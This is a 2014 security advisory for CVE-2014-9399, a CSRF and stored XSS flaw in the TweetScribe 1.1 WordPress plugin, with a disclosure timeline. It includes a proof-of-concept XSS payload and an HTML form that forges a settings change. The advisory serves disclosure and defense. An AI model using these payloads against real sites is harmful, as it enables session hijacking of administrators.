WordPress TweetScribe 1.1 CSRF / XSS

🗓️ 18 Dec 2014 00:00:00Reported by Manideep KType

packetstorm🔗 packetstormsecurity.com👁 41 Views

CSRF / Stored XSS in TweetScribe WordPress Plugin. Admin can be tricked to visit a crafted URL and insert arbitrary script, leading to hijacking of admin's cookies and execution of malicious code.

Reporter	Title	Published	Views	Family All 8
CNVD	WordPress Plugin TweetScribe Cross-Site Request Forgery Vulnerability	8 Jan 201500:00	–	cnvd
CVE	CVE-2014-9399	31 Dec 201421:00	–	cve
Cvelist	CVE-2014-9399	31 Dec 201421:00	–	cvelist
EUVD	EUVD-2014-9220	7 Oct 202500:30	–	euvd
NVD	CVE-2014-9399	31 Dec 201421:59	–	nvd
Patchstack	WordPress TweetScribe Plugin <= 1.1 - CSRF and XSS	17 Dec 201400:00	–	patchstack
Prion	Cross site request forgery (csrf)	31 Dec 201421:59	–	prion
WPVulnDB	Tweetscribe <= 1.1 - Multiple CSRF	18 Dec 201400:00	–	wpvulndb

`**************************************************************************************  
# Title: CSRF / Stored XSS Vulnerability in TweetScribe Wordpress Plugin   
# Author: Manideep K   
# CVE-ID: CVE-2014-9399  
# Plugin Homepage: https://wordpress.org/plugins/tweetscribe/  
# Version Affected: 1.1 (probably lower versions)  
# Severity: High   
  
# Description:   
Vulnerable Parameter: tweetscribe_username  
Vulnerability Class:   
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29   
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))   
  
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.  
  
# Steps to Reproduce: (POC):  
After installing the plugin  
1. Goto settings -> Tweetscribe  
2. Insert this payload  "><script>alert(32)</script>  into username field   
Update options and see XSS in action  
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.   
  
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below  
  
<html>  
<body>  
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=tweetscribe/tweetscribe.php&op=save" method="POST">  
<input type="hidden" name="tweetscribe_username" value="csrf baby" />  
<input type="hidden" name="tweetscribe_password" value="mdndnnd" />  
<input type="hidden" name="tweetscribe_text" value="test" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
# Mitigation:   
Plugin Closed  
  
# Disclosure:  
2014-11-06: Author notification  
2014-11-20: WP Team action taken by closing the plugin as there is no response from author  
2014-12-09: Public Disclosure  
  
# Credits:  
Manideep K  
Information Security Researcher  
https://in.linkedin.com/in/manideepk  
***************************************************************************************  
`

18 Dec 2014 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.01001